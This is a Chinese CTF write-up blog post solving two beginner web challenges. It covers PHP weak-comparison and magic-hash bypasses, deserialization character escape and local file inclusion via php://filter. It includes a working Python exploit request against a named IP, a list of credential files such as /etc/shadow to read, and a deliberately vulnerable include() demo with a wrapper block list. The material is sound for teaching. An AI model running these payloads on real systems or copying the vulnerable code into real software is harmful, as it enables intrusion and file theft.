文章目录:
作者的github资源:
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。网站目前可以访问,后续应该会关闭,初学者可以试试,但切勿破坏。
考点: PHP代码审计
主界面显示如下图所示:
核心代码如下:
<?php
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
echo '1st ok'."<br>";
}
else{
die('会代码审计嘛23333');
}
//2nd
if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);
if($md5_1 != $md5_2){
$a = strtr($md5_1, 'pggnb', '12345');
$b = strtr($md5_2, 'pggnb', '12345');
if($a == $b){
echo '2nd ok'."<br>";
}
else{
die("can u give me the right str???");
}
}
else{
die("no!!!!!!!!");
}
}
else{
die('is str1 numeric??????');
}
//3nd
function filter($string){
return preg_replace('/x/', 'yy', $string);
}
$username = $_POST['username'];
$password = "aaaaa";
$user = array($username, $password);
$r = filter(serialize($user));
if(unserialize($r)[1] == "123456"){
echo file_get_contents('flag.php');
}
会代码审计嘛23333
本题建议大家本地搭建环境进行测试,这个题目分为三段绕过测试。
(1) 第一段绕过。 首先num值不等于23333,同时preg_match()函数匹配正则表达式,这里使用%0A做截断,通过换行绕过preg_match函数。
(2) 第二段绕过。 传入string_1和string_2并计算md5值,然后要求md5值不相等;再通过strtr()函数将“pggnb”替换成“12345”,替换后的两个值要求相等,这里通过PHP弱类型比较漏洞绕过。
PHP在处理哈希字符串时,会利用 != 或 == 来对哈希值进行比较,它把每一个以"0E"开头的哈希值都解释为0,如果两个不同的密码经过哈希以后,其哈希值都是以"0E"开头,那么PHP将会认为他们相同都是0。
解决方法参考52hertz和Ly-sec-l大佬的文章! 在PHP弱类型中,0e+数字类型使用==会被认为相等,故:
这里我们需要让str1经过md5后以0e开头,后面只包含pggnb中一个或多个的字母,其余是数字,这样一替换就都是0e造成PHP弱类型的绕过。下列的Python代码还是获取str1含有字母的md5加密值。
运行结果为11230178,md5值如下,替换后就为纯数字。
此时构造的Payload如下,成功绕过第二关。
(3) 第三段绕过。 通过filter进行字符替换,unserialize进行反序列化处理。这里主要利用PHP反序列化中的字符逃逸。
PHP在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的。
比如在一个正常的反序列化的代码输入:
会得到如下结果,包含两个值。同时,如果换成 :
仍然是下面的结果。
<?php
class Test{
public $test;
}
$s1 = 'a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}';
var_dump(unserialize($s1));
echo '<br>';
$s2 = 'a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($s2));
?>
这道题目的代码将x替换为yy,如果把username换成peri0dxxx ,其处理后的序列化结果为:
这个时候肯定会反序列化失败的,因为 s:9:“peri0dyyyyyy” 比以前多了 3 个字符,这就需要继续增加填充字符实现了密码的修改。
解决方法: 通过构造:
将字符串闭合并控制第二个元素为123456,但存在长度问题,故添加字符串为 admin";i:1;s:6:“123456”;},长度为20,因此我们构造20个x,xxxxxxxxxxxxxxxxxxxx";i:1;s:6:“123456”;},这样x就会被替换成yy,我们就多了20个位置,把我们的 payload 挤出去,就刚好可以闭合了。
最终Payload:
import requests
from urllib.parse import quote_plus
url = "http://218.197.154.9:10015/?num=23333%0A&str1=11230178&str2=QNKCDZO"
data = {'username':'xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'}
res = requests.post(url=url,data=data)
print(res.text)
f = open("test0523.txt","w")
f.write(res.text)
f.close()
flag输出结果如下:
题目+实战总结:
推荐及参考文章:
考点: 文件包含漏洞inlude
主界面显示如下图所示:
contact.php核心代码如下:
这道题在contact.php页面有表单提交的选项,提交至thankyou.php页面,通过URL参数及题目提示文件包含,我们尝试往文件包含漏洞渗透。
什么是文件包含漏洞呢? 通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。PHP中常见的文件包含函数有以下四种:include()、require()、include_once()、require()_once()。
(1) 首先,我们提交正常的信息,看看反馈结果。
反馈结果如下图所示:
(2) 通过参数file读取信息,验证该参数可用。
Linux获取信息常用方法: /etc/passwd //账户信息 /etc/shadow //账户密码文件 /usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置 /usr/local/app/php5/lib/php.ini //PHP相关配置 /etc/httpd/conf/httpd.conf //Apache配置文件 /etc/my.conf //mysql配置文件
尝试file参数其他方式获取信息,但提示include()没有该目录。
(3) 利用php://filter获取指定文件源码。 当php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而导致任意文件读取。
提示警告信息“Warning: include(): unable to locate filter “resource= flag.php” in /var/www /html/ thankyou.php on line 44”。
(4) 直接读flag.php文件大多数情况会无法显示信息在浏览器页面上,所以需要将文件内容进行base64编码后显示在浏览器上,再自行解码。
(5) 在线base64解密,网址:
题目+实战总结:
大家可以在本地利用下列代码实验。
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
推荐及参考文章:
希望这篇文章对你有所帮助,这是CTF基础题目,2020年5月第一次参加CTF比赛写的。这半年来,原创博客越来越少,希望自己能在博士路上不断前行,多读论文,多写论文,多学新知识。加油~也祝所有在读博士都学有所成,勿忘来时的路,砥砺前行。晚安娜~
CTF初学者个人建议: